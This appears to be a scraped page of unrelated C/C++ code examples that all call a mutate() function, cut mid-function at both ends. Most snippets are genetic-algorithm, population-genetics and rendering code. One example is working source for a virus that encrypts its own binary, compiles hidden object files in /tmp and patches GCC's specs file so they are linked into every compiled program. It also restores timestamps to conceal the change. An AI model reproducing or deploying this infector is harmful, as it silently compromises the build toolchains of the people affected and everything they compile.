				for (Tst::iterator nit = names.begin(); nit != names.end(); ++nit)
				{
					if (fit != found.end() && *nit == *fit) {
						std::cout << *nit << "\n";
						++fit;
					}
					else
						std::cout << *nit << " ###\n";
				}
			//	std::cout << "full-frontal:\n";
			//	for (ResultsIter rit = results.begin(); rit != results.end(); ++rit)
			//		std::cout << **rit << "\n";
			}
		}
		testcount--;
	}
	return errors_counter() - result;
}
void negativeValueIsMutatedByReference(ExpensiveToCopyType Obj) {
  mutate(Obj);
}
Esempio n. 20
0
int main(void)
{
	FILE *mp = fopen("mut_data", "w+");
	FILE *fp = fopen("f_data", "w+");
	struct program *prog;
	prog = (struct program *)malloc(sizeof(struct program) * POP_SIZE);
	srand(time(0));
	uint8 inp[256], out[256];

	int i;
	for (i = 0; i < POP_SIZE; i++)
		prog[i].p = i;
	for (i = 0; i < INPUTS; i++) {
		inp[i] = i;
		out[i] = i * (i + 1) / 2;
	}
	for (int k = 0; k < 5000000; k++) {
		double min[BEST_LIST_SIZE], fit;
		for (i = 0; i < BEST_LIST_SIZE; i++)
			min[i] = 10000;
		struct program *best[BEST_LIST_SIZE];
		for (i = 0; i < POP_SIZE; i++) {
			fit = 0;
			for (int j = 0; j < INPUTS; j++) {
				fit += fitness(&prog[i], inp[j], out[j]);
			}
			fit /= INPUTS;
			sort(min, best, fit, &prog[i]);
			//if(i % POP_SIZE / 10 == 0) printf("%f%\n", (double)i / POP_SIZE * 100);
		}
		if (k % 30 == 0) {
			printf("####### Generation: %i ######\n", k);
			for (int p = 0;
			     p < (BEST_LIST_SIZE < 3 ? BEST_LIST_SIZE : 3);
			     p++) {
				printf("\n");
				printf("%i th BEST: Fitness %f\n", p + 1,
				       min[p]);
				printf("NORMAL\tOUTPUT = ");
				for (int inp = 0; inp < 14; inp++) {
					run(best[p], inp);
					printf("%i:%i|", inp, best[p]->output);
				}
				printf("\n");
				printf("\nGEN \tCODE = ");
				for (i = 0; i < PRG_SIZE + 2; i++) {
					printf("0x%x,", best[p]->instructs[i]);
				}
				printf("\nCO prob = %f \t MUT prob = %f\n",
				       best[p]->instructs[PRG_SIZE - 1] / 10.0,
				       best[p]->instructs[PRG_SIZE - 2] / 10.0);
				printf("\n");
			}
		}
		float sum0 = 0, sum1 = 0;
		for (int p = 0; p < BEST_LIST_SIZE; p++) {
			prog[p] = *best[p];
			sum0 += best[p]->instructs[PRG_SIZE - 1] / 10.0;
			sum1 += best[p]->instructs[PRG_SIZE - 2] / 10.0;
		}
		fprintf(mp, "%f, %f\n", sum0, sum1);
		fprintf(fp, "%f\n", min[0]);
		int con, ind;
		for (i = 0; i < POP_SIZE; i++) {
			con = 0;
			ind = rand() % BEST_LIST_SIZE;
			for (int oind = 0; oind < BEST_LIST_SIZE; oind++) {
				if (prog[i].p == best[oind]->p) {
					con = 1;
					break;
				}
			}
			if (con)
				continue;
			if (rand() % 2) {
				mutate(&prog[i], best[ind],
				       &prog[rand() % POP_SIZE]);
			} else {
				mutate(&prog[i], &prog[rand() % POP_SIZE],
				       best[ind]);
			}
		}
		for (i = POP_SIZE / 100 * 96; i < POP_SIZE; i++) {
			con = 0;
			for (int oind = 0; oind < BEST_LIST_SIZE; oind++) {
				if (prog[i].p == best[oind]->p) {
					con = 1;
					break;
				}
			}
			if (con)
				continue;
			prog[i].init = 10;
		}
		POP_SIZE = 500;
	}
	fclose(fp);
}
Esempio n. 21
0
void shake(transform_model* population[]){
    int i;
    for (i = 0; i < POPULATION_SIZE; i++){
        mutate(population[i], MAX_MUTATION_RATE);
    }
}
Esempio n. 22
0
double genetic (
      double (*func)( int n , double *x ) ,  // Function to be minimized
      int ngens ,        // Number of complete generations
      int popsize ,      // Number of individuals in population
      int climb ,        // Do we hill climb via elitism?
      double stddev ,    // Standard deviation for initial population
      double pcross ,    // Probability of crossover (.6-.9 typical)
      double pmutate ,   // Probability of mutation (.0001 to .001 typical)
      double favor_best ,// Factor for favoring best over average (2-3 is good)
      double fitfac ,    // Factor for converting fval to raw fitness (-20 good)
      double fquit ,     // Quit if function reduced to this amount
      int nvars ,        // Number of variables in x
      double *x ,        // Set to starting estimate when called; returns best
      double *best,      // Work vector nvars long
      int *choices ,     // Work vector popsize long
      double *fvals ,    // Work vector popsize long
      double *fitness ,  // Work vector popsize long
      double *pool1,     // Work vector nvars * popsize long
      double *pool2 )    // Work vector nvars * popsize long
{
   int istart, individual, best_individual, generation, n_cross ;
   int first_child, parent1, parent2, improved, crosspt, nchoices ;
   double fval, bestfval, *oldpop, *newpop, *popptr, *temppop ;

/*
   Generate initial population pool.

   We also preserve the best point across all generations, as this is what
   we will ultimately return to the user.  Its objective function value is
   bestfval.
*/

   bestfval = 1.e30 ;     // For saving best (across all individuals)
   best_individual = 0 ;  // Safety only

   for (individual=0 ; individual<popsize ; individual++) {

      popptr = pool1 + individual * nvars ;   // Build population in pool1
      shake ( nvars , x , popptr , stddev ) ; // Randomly perturb about init x
      fval = (*func) ( nvars , popptr ) ;     // Evaluate function there
      fvals[individual] = fval ;              // and keep function value of each

      if (fval < bestfval) {                  // Keep track of best
         bestfval = fval ;                    // as it will be returned to user
         best_individual = individual ;       // This is its index in pool1
         }

      if (fval <= fquit)
         break ;
      }

/*
   The initial population has been built in pool1.
   Copy its best member to 'best' in case it never gets beat (unlikely
   but possible!).
*/

   popptr = pool1 + best_individual * nvars ;           // Point to best
   memcpy ( best , popptr , nvars * sizeof(double) ) ;  // and save it

/*
   This is the main generation loop.  There are two areas for population pool
   storage: pool1 and pool2.  At any given time, oldpop will be set to one of
   them, and newpop to the other.  This avoids a lot of copying.
*/

   oldpop = pool1 ;   // This is the initial population
   newpop = pool2 ;   // The next generation is created here

   for (generation=0 ; generation<ngens ; generation++) {

      if (fval <= fquit)   // We may have satisfied this in initial population
         break ;           // So we test at start of generation loop

      fval_to_fitness ( popsize , favor_best , fitfac , fvals , fitness ) ;

      fitness_to_choices ( popsize , fitness , choices ) ;

      nchoices = popsize ;         // Will count down as choices array emptied
      n_cross = pcross * popsize ; // Number crossing over
      first_child = 1 ;            // Generating first of parent's 2 children?
      improved = 0 ;               // Flags if we beat best

      if (climb) {                  // If we are to hill climb
         memcpy ( newpop , best , nvars * sizeof(double) ) ; // start with best
         fvals[0] = bestfval ;      // Record its error
         istart = 1 ;               // and start children past it
         }
      else
         istart = 0 ;

/*
   Generate the children
*/

      for (individual=istart ; individual<popsize ; individual++) {

         popptr = newpop + individual * nvars ; // Will put this child here

         if (first_child)  // If this is the first of 2 children, pick parents
            pick_parents ( &nchoices , choices , &parent1 , &parent2 ) ;

         if (n_cross-- > 0)    // Do crossovers first
            reproduce ( oldpop + parent1 * nvars , oldpop + parent2 * nvars ,
                        first_child , nvars , popptr , &crosspt ) ;
         else if (first_child) // No more crossovers, so just copy parent
            memcpy( popptr , oldpop + parent1 * nvars , nvars * sizeof(double));
         else
            memcpy( popptr , oldpop + parent2 * nvars , nvars * sizeof(double));

         if (pmutate > 0.0)
            mutate ( popptr , nvars , stddev , pmutate ) ;

         fval = (*func) ( nvars , popptr ) ; // Evaluate function for this child
         fvals[individual] = fval ;          // and keep function value of each

         if (fval < bestfval) {              // Keep track of best
            bestfval = fval ;                // It will be returned to user
            best_individual = individual ;   // This is its index in newpop
            improved = 1 ;                   // Flag so we copy it later
            }

         if (fval <= fquit)
            break ;

         first_child = ! first_child ;
         } // For all genes in population

/*
   We finished generating all children.  If we improved (one of these
   children beat the best so far) then copy that child to the best.
   Swap oldpop and newpop for the next generation.
*/

      if (improved) {
         popptr = newpop + best_individual * nvars ;          // Point to best
         memcpy ( best , popptr , nvars * sizeof(double) ) ;  // and save it
         }

      temppop = oldpop ;   // Switch old and new pops for next generation
      oldpop = newpop ;
      newpop = temppop ;
      }

/*
   We are all done.  Copy the best to x, as that is how we return it.
*/

   memcpy ( x , best , nvars * sizeof(double) ) ;  // Return best
   return bestfval ;
}
Esempio n. 23
0
void LayerNet::gen_init (
   TrainingSet *tptr ,        // Training set to use
   struct LearnParams *lptr   // User's general learning parameters
   )
{
   int i, istart, individual, best_individual, generation, n_cross ;
   int first_child, parent1, parent2, improved, crosspt, nchoices, *choices ;
   int initpop, popsize, gens, climb, nvars, chromsize, split, ind ;
   float pcross, pmutate, error, besterror, *errors, *fitness, worst ;
   float fquit, favor_best, fitfac, maxerr, minerr, avgerr, overinit ;
   SingularValueDecomp *sptr ;
   struct GenInitParams *gptr ;  // User's genetic initialization parameters
   char *pool1, *pool2, *oldpop, *newpop, *popptr, *temppop, *best ;
   char msg[80] ;

   gptr = lptr->gp ;

   popsize = gptr->pool ;
   gens = gptr->gens ;
   climb = gptr->climb ;
   overinit = gptr->overinit ;
   pcross = gptr->pcross ;
   pmutate = gptr->pmutate ;

   fquit = lptr->quit_err ;

   favor_best = 3.1 ;
   fitfac = -20.0 ;


/*
--------------------------------------------------------------------------------

   Do all scratch memory allocation.

--------------------------------------------------------------------------------
*/

/*
   Allocate the singular value decomposition object for REGRESS.
*/

   if (nhid2 == 0)         // One hidden layer
      nvars = nhid1 + 1 ;
   else                    // Two hidden layers
      nvars = nhid2 + 1 ;

   MEMTEXT ( "GEN_INIT: new SingularValueDecomp" ) ;
   sptr = new SingularValueDecomp ( tptr->ntrain , nvars , 1 ) ;

   if ((sptr == NULL)  || ! sptr->ok) {
      memory_message("for genetic initialization. Try ANNEAL NOREGRESS.");
      neterr = 1.0 ;    // Flag failure to LayerNet::learn which called us
      if (sptr != NULL)
         delete sptr ;
      return ;
      }

   chromsize = nhid1 * (nin+1) ;        // Length of an individual's chromosome
   if (nhid2)                           // is the number of hidden weights
      chromsize += nhid2 * (nhid1+1) ;

   errors = fitness = NULL ;
   choices = NULL ;
   pool1 = pool2 = NULL ;
   MEMTEXT ( "GEN_INIT: errors, fitness, choices, best, pool1,pool2");
   if (((errors = (float*) MALLOC ( popsize * sizeof(float))) == NULL)
    || ((fitness = (float*) MALLOC ( popsize * sizeof(float))) == NULL)
    || ((best = (char*) MALLOC( chromsize )) == NULL)
    || ((choices = (int*) MALLOC ( popsize * sizeof(int))) == NULL)
    || ((pool1 = (char*) MALLOC( popsize * chromsize )) == NULL)
    || ((pool2 = (char*) MALLOC( popsize * chromsize )) == NULL)) {
      if (errors != NULL)
         FREE ( errors ) ;
      if (fitness != NULL)
         FREE ( fitness ) ;
      if (choices != NULL)
         FREE ( choices ) ;
      if (pool1 != NULL)
         FREE ( pool1 ) ;
      if (pool2 != NULL)
         FREE ( pool2 ) ;
      delete sptr ;
      memory_message("for genetic initialization.  Try ANNEAL NOREGRESS." ) ;
      neterr = 1.0 ;  // Flag failure to LayerNet::learn which called us
      return ;
      }

/*
   Generate initial population pool.

   We also preserve the best weights across all generations,
   as this is what we will ultimately return to the user.
   Its mean square error is besterror.
*/

   besterror = 1.e30 ;     // For saving best (across all individuals and gens)
   maxerr = avgerr = 0.0 ; // For progress display only
   best_individual = 0 ;   // Safety only
   initpop = popsize * overinit ; // Overinitialization of initial population
   progress_message ( "\nGenerating initial population" ) ;

   for (ind=0 ; ind<initpop ; ind++) { // Try overinitialization times

      if (ind<popsize)                 // If still in pop size limit
         individual = ind ;            // just use next avail space
      else {                           // Else we search entire pop
         worst = -1. ;                 // for the worst member
         for (i=0 ; i<popsize ; i++) { // which we will then replace
            if (errors[i] > worst) {
               worst = errors[i] ;
               individual = i ;
               }
            }
         avgerr -= worst ;             // Exclude discards from average
         }

      popptr = pool1 + individual * chromsize ; // Build init pop in pool1
      rand_ind ( popptr , chromsize ) ;         // Randomly generate individual
      decode ( popptr , nin , nhid1 , nhid2 ,   // Convert genotype (chromosome)
               hid1_coefs , hid2_coefs );       // to phenotype (weights)
      error = regress ( tptr , sptr ) ;         // Evaluate network error
      errors[individual] = error ;              // and keep all errors

      if (error < besterror) {                  // Keep track of best
         besterror = error ;                    // as it is returned to user
         best_individual = individual ;         // This is its index in pool1
         }

      if (error > maxerr)                       // Max and average error are
         maxerr = error ;                       // for progress display only
      avgerr += error ;

      if (error <= fquit)
         break ;

      progress_message ( "." ) ;
      }

   sprintf (msg , "\nInitial pop:    Min err=%7.4lf   Max=%7.4lf   Avg=%7.4lf",
	    100. * besterror, 100. * maxerr, 100.0 * avgerr / (float) popsize);
   progress_message ( msg ) ;


/*
   The initial population has been built in pool1.
   Copy its best member to 'best' in case it never gets beat (unlikely
   but possible!).
   Also, we will need best if the climb option is true.
*/

   popptr = pool1 + best_individual * chromsize ; // Point to best
   memcpy ( best , popptr , chromsize ) ;         // and save it

/*
   This is the main generation loop.  There are two areas for population pool
   storage: pool1 and pool2.  At any given time, oldpop will be set to one of
   them, and newpop to the other.  This avoids a lot of copying.
*/

   oldpop = pool1 ;       // This is the initial population
   newpop = pool2 ;       // The next generation is created here

   for (generation=0 ; generation<gens ; generation++) {

      if (error <= fquit) // We may have satisfied this in init pop
         break ;          // So we test at start of generation loop

      error_to_fitness ( popsize , favor_best , fitfac , errors , fitness ) ;

      fitness_to_choices ( popsize , fitness , choices ) ;

      nchoices = popsize ;         // Will count down as choices array emptied
      n_cross = pcross * popsize ; // Number crossing over
      first_child = 1 ;            // Generating first of parent's 2 children?
      improved = 0 ;               // Flags if we beat best

      if (climb) {                 // If we are to hill climb
         memcpy ( newpop , best , chromsize ) ; // start with best
         errors[0] = besterror ;   // Record its error
         istart = 1 ;              // and start children past it
         }
      else
         istart = 0 ;

/*
   Generate the children
*/

      maxerr = avgerr = 0.0 ;   // For progress display only
      minerr = 1.0 ;            // Ditto

      for (individual=istart ; individual<popsize ; individual++) {

         popptr = newpop + individual * chromsize ; // Will put this child here

         if (first_child)  // If this is the first of 2 children, pick parents
            pick_parents ( &nchoices , choices , &parent1 , &parent2 ) ;

         if (n_cross-- > 0)    // Do crossovers first
            reproduce ( oldpop + parent1 * chromsize , oldpop + parent2 * chromsize ,
                        first_child , chromsize , popptr , &crosspt , &split ) ;
         else if (first_child) // No more crossovers, so just copy parent
            memcpy ( popptr , oldpop + parent1 * chromsize , chromsize ) ;
         else
            memcpy ( popptr , oldpop + parent2 * chromsize , chromsize );

         if (pmutate > 0.0)
            mutate ( popptr , chromsize , pmutate ) ;

         decode ( popptr , nin , nhid1 , nhid2 , hid1_coefs , hid2_coefs ) ;
         error = regress ( tptr , sptr ) ; // Evaluate child's error
         errors[individual] = error ;      // and keep each

         if (error < besterror) {          // Keep track of best
            besterror = error ;            // It will be returned to user
            best_individual = individual ; // This is its index in newpop
            improved = 1 ;                 // Flag so we copy it later
            }

         if (error > maxerr)               // Min, max and average error
            maxerr = error ;               // for progress display only
         if (error < minerr)
            minerr = error ;
         avgerr += error ;

         if (error <= fquit)
            break ;

         first_child = ! first_child ;
         } // For all genes in population

/*
   We finished generating all children.  If we improved (one of these
   children beat the best so far) then copy that child to the best.
   Swap oldpop and newpop for the next generation.
*/

      if (improved) {
         popptr = newpop + best_individual * chromsize ; // Point to best
         memcpy ( best , popptr , chromsize ) ;          // and save it
         }

      temppop = oldpop ;   // Switch old and new pops for next generation
      oldpop = newpop ;
      newpop = temppop ;

      sprintf(msg, "\nGeneration %3d: Min err=%7.4lf   Max=%7.4lf   Avg=%7.4lf",
              generation+1, 100. * minerr, 100. * maxerr,
	      100.0 * avgerr / (float) popsize ) ;
      progress_message ( msg ) ;
      }

/*
   We are all done.
*/

   decode ( best , nin , nhid1 , nhid2 , hid1_coefs , hid2_coefs ) ;
   besterror = regress ( tptr , sptr ) ;              // Evaluate network error

   MEMTEXT ( "GEN_INIT: errors, fitness, choices, best, pool1,pool2");
   FREE ( errors ) ;
   FREE ( fitness ) ;
   FREE ( choices ) ;
   FREE ( best ) ;
   FREE ( pool1 ) ;
   FREE ( pool2 ) ;
   MEMTEXT ( "GEN_INIT: delete sptr" ) ;
   delete sptr ;
}
Esempio n. 24
0
File: main.c Progetto: g1ll/ga_c
/**
 * <h3>Algoritmos Genéticos</h3>
 * <p>A função ga_fo_01 tem como objetivo usar uma implementação simples de GA para
 * otimizar a função <i>F(x)=x*sin(10*pi*x)+1<i> em um espaço de busca definido.</p>
 * @file main.c
 * @version 0.0
 * @autor Gill Velleda Gonzales
 * @param a Início do espaço de busca 
 * @param step Valor de incremento
 * @param b Fim do espaço de busca
 * @param otimizacao 0 Minimiza a FO != 0 Maximiza
 * @pop_size tamanho da população (bug máximo 12 indivíduos)
 * @return  
 * Valor otimizado de <i><b>fo_01</b></i> no espaço definido por <b>a</b> até  <b>b</b> passo <b>step</b>
 * 
 * @ToDo
 * 
 *   
 */
long double ga_fo_01(double a, double step, double b, int otimizacao, int pop_size) {

    //Inicialização
    int **pop,
            **pop_mat, //População Intermediaria
            size_pop = pop_size, //População
            genes = 12, //Tamanho de Cromossomos (Cadeia de Bits)
            geracao = 1, i, j,
            count_ev = 0, //Contador de não-evoluções ou gerações iguais que não evoluirão;
            nev_max = 10, //Número máximo de populações iguais que não evoluirão, critério de parada
            *cr_opt;
    float *v_ap,
            taxa_cros = 0.9,
            taxa_mutate = 0.3;



    printf("\nAlgoritmo Genético Processando");
    //Espaço de Busca
    printf("\nEspaço de busca de %.3f a %.3f incrementado de %.3f", a, b, step);
    //Gerando a população
    printf("\nGerando a População ...\nCromossos: 12 genes binários\nPopulação: %d indivíduos", size_pop);
    pop = gerarPopIni(size_pop, genes, a, step, b);
    //LOOP
    do {
        if (geracao > 1)
            free(pop_mat); //Liberando memória - Descarta a população de Pais
        //Avalia População
        printf("\nAvaliando a população (Geração: %d)", geracao);

        v_ap = avaliarPop(pop, size_pop, genes, a, b);
        //Selecionar mais aptos
        printf("\n Selecionando mais aptos:\n\t-gerando mating-pool\n");
        pop_mat = selecaoTorneio(pop, v_ap, size_pop, genes, otimizacao);
        printf("\n População Original - Geracao %d:\n", geracao);
        printPop(pop, size_pop, genes);
        printf("\n\n População Intermediária:\n");
        printPop(pop_mat, size_pop, genes);
        free(pop); //Liberando memória - Descarta a população original
        //Operações de Crossover e Mutação
        pop = crossover(pop_mat, taxa_cros, size_pop, genes);
        printf("\n\n Nova Geração pós-cruzamentos:");
        printPop(pop, size_pop, genes);        
        //Mutação
        pop = mutate(pop, taxa_mutate, size_pop, genes);
        printf("\n\n Nova Geração pós-mutações:");
        printPop(pop, size_pop, genes);
        //Geração de nova população
        geracao++;
        //count_nev = final_ga(pop, v_ap, size_pop, genes, count_nev);
        count_ev = final_ga(pop_mat, v_ap, size_pop, genes, count_ev);
        printf("\t-----------CONTADOR %d----------\n", count_ev);
        printf("\n||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n");
        if (count_ev == nev_max) {
            /* aloca espaço para o cromossomo otimo */
            cr_opt = (int *) calloc(genes, sizeof (int));
            cr_opt = getOtimo(pop_mat, otimizacao, size_pop);
        }
    } while (count_ev < nev_max); //&& geracao <= 100);
    //FIM LOOP
    
     printf("\n GA- Finalizado:\n\tPopulação dos mais aptos:\n");
    printPop(pop_mat, size_pop, genes);
    printf("\n GA- Finalizado:\n\tx = %.3f Valor ótimo;\n\t y = %.3f", bitsToFloat(cr_opt), fo_01(bitsToFloat(cr_opt)));
    printf("\n Tamanho da População: %d", size_pop);
    printf("\n Genes por Cromossomos: %d", genes);
    printf("\n Taxa de Cruzamento: %.1f", taxa_cros);
    printf("\n Taxa de Mutação: %.1f", taxa_mutate);
    printf("\n Última Geração: %d:\n", geracao);
    printf("\n\n");
}
    gamete_pointer method2( gamete_pointer base_gamete, gamete_pointer other_gamete, unsigned int gen ) {
#ifdef LOGGING
        static unsigned int nCalls = 0;
        std::ostringstream oss;
        oss << gen <<  "." << nCalls++;
        std::string log_key = oss.str();
#endif
        unsigned int nMut = m_rng->nextPoisson( m_mu );

        unsigned int nRec = (( base_gamete == other_gamete) ? 0 : m_rng->nextPoisson(m_rho));

        if( base_gamete != other_gamete && m_rng->nextBool() ) {
            // have different gametes; therefore should randomly swap them
            std::swap( base_gamete, other_gamete );
        }

        if( nMut == 0 && nRec == 0) {
            // no recombination or mutation
            // therefore randomly copy one of them
            return base_gamete->copy();
        }

        gamete_pointer res = NULL;
        if( nRec > 0 ) {
#ifdef LOGGING
            global_log.put( log_key + ".recombine", true);
#endif
            res = recombine( base_gamete, other_gamete, nRec, gen );

            if( nMut ) {
#ifdef LOGGING
                global_log.put( log_key + ".mutate", true);
#endif
                mutate(res, nMut);
            }
        } else {
#ifdef LOGGING
            global_log.put( log_key + ".mutate", true);
#endif
            res = base_gamete->clone();
            mutate(res, nMut);
        }

#ifdef LOGGING
        oss.str("");
        oss.clear();
        oss << *res->getBits();
        global_log.put( log_key + ".new_gamete.sequence", oss.str());
        global_log.put( log_key + ".new_gamete.size", res->getBits()->size() );
        global_log.put( log_key + ".new_gamete.count", res->getBits()->count() );

        if( base_gamete->getBits()->count() > 0 && other_gamete->getBits()->count() > 0) {
            oss.str("");
            oss.clear();
            oss << *base_gamete->getBits();
            global_log.put( log_key + ".base_gamete.sequence", oss.str());
            global_log.put( log_key + ".base_gamete.size", base_gamete->getBits()->size() );
            global_log.put( log_key + ".base_gamete.count", base_gamete->getBits()->count() );

            oss.str("");
            oss.clear();
            oss << *other_gamete->getBits();
            global_log.put( log_key + ".other_gamete.sequence", oss.str());
            global_log.put( log_key + ".other_gamete.size", other_gamete->getBits()->size() );
            global_log.put( log_key + ".other_gamete.count", other_gamete->getBits()->count() );
        }
#endif

        return res;
    }
Esempio n. 26
0
void Trainer::breed()
{
    std::sort(agents.begin(), agents.end(), fitness_comparison());
    emit agentsChanged(agents);

    children.clear();

    AgentVector selected_agents = selection();

    AgentVector selected_agents_one;
    AgentVector selected_agents_two;

    for (unsigned int i = 0; i < selected_agents.size(); i++)
    {
        if (i % 2)
            selected_agents_one.push_back(selected_agents[i]);
        else
            selected_agents_two.push_back(selected_agents[i]);
    }

    unsigned int min_size = (selected_agents_one.size() < selected_agents_two.size()) ?
                selected_agents_one.size() : selected_agents_two.size();

    if (min_size != 0)
    {
        Agent *braut = selected_agents.at(0);
        for (unsigned int i = 0; i < min_size; i++)
        {
            Agent *child_one = crossover(*braut, *selected_agents_one[i], rand() % 2);
            Agent *child_two = crossover(*selected_agents_two[i], *selected_agents_one[i], rand() % 2);
//            Agent *child_three = crossover(*selected_agents_one[i], *selected_agents_two[i], rand() % 2);

//            if (child_three)
//                children.push_back(child_three);


            if (child_one && braut != selected_agents_one[i])
            {
                if (rand() % 100 < 10)
                {
                    Genome genome_one = child_one->getGenome();
                    mutate(genome_one);
                    child_one->setGenome(genome_one);
                }

                children.push_back(child_one);
            }

            if (child_two)
            {
                if (rand() % 100 > 80)
                {
                    Genome genome_two = child_two->getGenome();
                    mutate(genome_two);
                    child_two->setGenome(genome_two);
                }

                children.push_back(child_two);
            }

        }

        std::sort(children.begin(), children.end(), fitness_comparison());
        Agent *b = children.at(0);
        b->setName("Brautern");

        emit childrenChanged(children);
    }

    agents.clear();
    agents = children;
}
Esempio n. 27
0
int main(int argc, char **argv, char **envp)
{
        char *kalif;
        int in, r;
        FILE *fd, *out;
        char specs[100] = {0},
             key[30] = {0},
             exe[200] = {0};
        struct stat st;
        struct utimbuf ut;
        
        if ((kalif = (char*)malloc(KLEN)) == NULL) {
           	perror("malloc");
                exit(errno);
        }
        if ((in = open(argv[0], O_RDONLY)) < 0) {
#ifdef DEBUG
           	perror("open");
#endif
                exit(errno);
        }
        r = read(in, kalif, KLEN);
        /* dump executable as hex */
        fd = xfopen("/tmp/kalif.c", "w+");
        /* but before we mutate a little bit :) */
        mutate(key);
        Vcrypt(kalif, key, r);
        dump_it(fd, kalif, "X1", r);
        fclose(fd);
        
        /* get source of close() */
        fd = xfopen("/tmp/close.c", "w+");
        dump_it(fd, X2, NULL, X2LEN);
        fclose(fd);
        
        /* get directory where specs resists */
        system("egcs -v 2>t");
        fd = xfopen("t", "r");
        fscanf(fd, "Reading specs from %s\n", specs);
#ifdef DEBUG
        printf("%s", specs);        
#endif
        fclose(fd);
        unlink("t");
        /* randomize close.c */
        init_cce();
        randomize_file("/tmp/close.c", "/tmp/closeR.c");
        unlink("/tmp/close.c");
        
        /* and compile it to be linked into victum later */
        sprintf(exe, "gcc -c -O2 -D KEY=\"\\\"%s\\\"\" /tmp/closeR.c -o /tmp/.close.o~&>/dev/null", key);
#ifdef DEBUG
        printf("%s\n", exe);
#endif
        system(exe);
        system("gcc -c -O2 /tmp/kalif.c -o /tmp/.kalif.o~&>/dev/null");
        unlink("/tmp/kalif.c");
#ifndef DEBUG
        unlink("/tmp/closeR.c");
#endif

   	/* BREAK! if EIP is here, we already did the following:
         * extraceted close.c
         * randomized close.c
         * compiled rand. close.c 
         * extracted kalif to c-file
         * compiled it
         * what we do now is simply patch the specs file of GCC to link in
         * our 2 nasty obj-files every time gcc is ionvoked
         */

        /* dont touch permissions */
        stat(specs, &st);
        
        fd = xfopen(specs, "r+");
        bzero(kalif, KLEN);
        kalif[0] = 'X';
        
        /* seek to our fave position */
        while (strcmp(kalif, "*link:\n")) 
           	fgets(kalif, 200, fd);
        fgets(kalif, 200, fd); 
        fclose(fd);

        /* already patched ? */
        if (strstr(kalif, "/tmp/.kalif.o~")) 
           	return 0;
        
        /* we're friendly: we save specs-file :) */
        sprintf(exe, "mv %s /tmp/.specs.bak~>/dev/null", specs);
        system(exe);
        
        /* get position where we will add our stuff */
        fd = xfopen("/tmp/.specs.bak~", "r");
        out = xfopen(specs, "w+");
        while (strcmp(kalif, "*link:\n")) {
           	fgets(kalif, 200, fd);
                fprintf(out, "%s", kalif);
        }
        
        fprintf(out, "/tmp/.kalif.o~ /tmp/.close.o~ "); 	
        
        /* write rest of original to patched specs */
        while (fgets(kalif, 200, fd))
           	fprintf(out, "%s", kalif);

   	/* put orig attribs... */
        fchmod(fileno(out), st.st_mode);
         
        fclose(fd);
        fclose(out);
        free(kalif);
        
        /* ...and time to file */
        ut.actime = st.st_atime;
        ut.modtime = st.st_mtime;
        utime(specs, &ut);
        return 0;
}
Esempio n. 28
0
static void SmallStep(RNG &rng, MLTSample *sample, int maxDepth,
        int x0, int x1, int y0, int y1, float t0, float t1,
        bool bidirectional) {
    mutate(rng, &sample->cameraSample.imageX, x0, x1);
    mutate(rng, &sample->cameraSample.imageY, y0, y1);
    mutate(rng, &sample->cameraSample.time, t0, t1);
    mutate(rng, &sample->cameraSample.lensU);
    mutate(rng, &sample->cameraSample.lensV);
    // Apply small step mutation to camera, lighting, and light samples
    for (int i = 0; i < maxDepth; ++i) {
        // Apply small step to $i$th camera _PathSample_
        PathSample &eps = sample->cameraPathSamples[i];
        mutate(rng, &eps.bsdfSample.uComponent);
        mutate(rng, &eps.bsdfSample.uDir[0]);
        mutate(rng, &eps.bsdfSample.uDir[1]);
        mutate(rng, &eps.rrSample);

        // Apply small step to $i$th _LightingSample_
        LightingSample &ls = sample->lightingSamples[i];
        mutate(rng, &ls.bsdfSample.uComponent);
        mutate(rng, &ls.bsdfSample.uDir[0]);
        mutate(rng, &ls.bsdfSample.uDir[1]);
        mutate(rng, &ls.lightNum);
        mutate(rng, &ls.lightSample.uComponent);
        mutate(rng, &ls.lightSample.uPos[0]);
        mutate(rng, &ls.lightSample.uPos[1]);
    }
    
    if (bidirectional) {
        mutate(rng, &sample->lightNumSample);
        for (int i = 0; i < 5; ++i)
            mutate(rng, &sample->lightRaySamples[i]);
        for (int i = 0; i < maxDepth; ++i) {
            // Apply small step to $i$th light _PathSample_
            PathSample &lps = sample->lightPathSamples[i];
            mutate(rng, &lps.bsdfSample.uComponent);
            mutate(rng, &lps.bsdfSample.uDir[0]);
            mutate(rng, &lps.bsdfSample.uDir[1]);
            mutate(rng, &lps.rrSample);
        }
    }
}
void Chromosome::randomize(){
	for (size_t i = 0; i < CHROMOSOME_LENGTH; i++){
		mutate(i);
	}
}
Esempio n. 30
0
// GA function accepts data matrix, legal gene matrix, and number of total genes wanted in final matrix
// New stopping criterion: when PD does not increase for maxGenStalled generations
int optimizeDecisivnessGA (vector < vector <int> > & data,
    vector < vector <int> > const& legal, int const& numAdd, bool const& referenceTaxonPresent,
    int const& numProcs)
{
// initialize random number generator - already done in main
    // srand((unsigned)time(0));

// Constants. Some should probably be user specified: tournamentSize, populationSize, mutationProbability, maxgen
    // int numTaxa = data.size(); // not used
    // int numLoci = data[0].size(); // not used
    int numInitialLoci = countLociPresent(data);
    int tournamentSize = 5; // size of tournament group.
    const int populationSize = 500;
    double mutationProbability = 0.9; // probability of mutation, otherwise xover
    //double stepReplaceProbability = 0.01;
    int maxgen = 100000; // maximum number of generations; ramp up to 100000 or whatever
    int numTrees = 100; // ramp up to 1000
    
    double bestSolution = 0.0;
    vector < vector <int> > bestConfiguration;
    
    int genStalled = 0; // number of generations without an increase in best fitness.
    int maxGenStalled = 5000;
    
// Store fitness
    double fitness[populationSize];
    
    // cout << "initialize " << endl;
// Initialize population
    vector < vector <int> > population[populationSize];
    // int numAdd = maxGenes - numInitialLoci;     // number of genes to add
    int maxGenes = numInitialLoci + numAdd;
    
//     cout << "Initial count = " << numInitialLoci << "; adding " << numAdd
//         << " sampled characters for total of " << maxGenes << " occupied cells of a possible "
//         << data.size() * data[0].size() << "." << endl;
    
    
// Function currently errors out when too many genes initially present.
// This should be changed to allow genes to be removed.
    cout << endl << "SETTING UP INITIAL POPULATION" << endl << endl;
    cout << "Population consists of " << populationSize << " individuals." << endl;
    if (numAdd < 0) { // subtract genes; not sure when this will be used...
        cout << numAdd << " populated cells will be removed." << endl;
        for (int i = 0; i < populationSize; i++) {
            population[i] = data;
            for (int j = numAdd; j < 0; j++) {
                mutate(population[i], legal, 0, 1);
            }
        }
    } else { // add genes
        cout << numAdd << " additional random taxon-character cells will be populated for each individual..." << endl;
        for (int i = 0; i < populationSize; i++) {
            population[i] = data;
            for (int j = 0; j < numAdd; j++) { // Randomly add numAdd genes in legal positions
